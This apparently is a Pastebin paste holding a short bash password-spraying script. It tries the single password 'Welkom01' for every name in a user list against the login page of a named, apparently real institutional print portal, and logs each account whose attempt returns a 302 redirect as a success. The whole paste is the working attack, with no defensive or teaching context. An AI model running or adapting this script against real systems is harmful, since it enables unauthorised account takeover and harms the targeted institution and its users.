Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #
- # If gives 302 password is correct
- # TODO: create if statement and store status.
- #
- password="Welkom01"
- for i in $(cat userlist.txt);
- do
- response=$(curl --write-out %{http_code} --silent 'http://webprint.rocmn.nl/login.cfm' --data "LoginAction=login&LoginString=QPuY6hn3hfpB5sX9QvPN&Username=$i&Password=$password" --silent --output /dev/null)
- echo "Response code is $response of user $i"
- if [[ $response == "302" ]]; then
- echo "$i" >> success.txt
- fi
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement